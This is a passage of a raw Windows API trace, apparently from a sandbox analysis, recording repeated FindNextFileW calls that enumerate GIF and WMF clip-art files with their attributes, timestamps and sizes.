FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0244.356] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0244.356] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0244.356] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0244.357] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0244.357] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0244.357] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0244.357] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0244.357] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0244.358] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0244.359] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0244.359] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0244.359] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0244.359] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0244.479] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0244.479] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0244.479] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0244.479] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0244.479] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0244.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0244.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0244.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0244.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0244.480] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0244.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0244.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0244.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0244.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0244.481] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0244.482] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 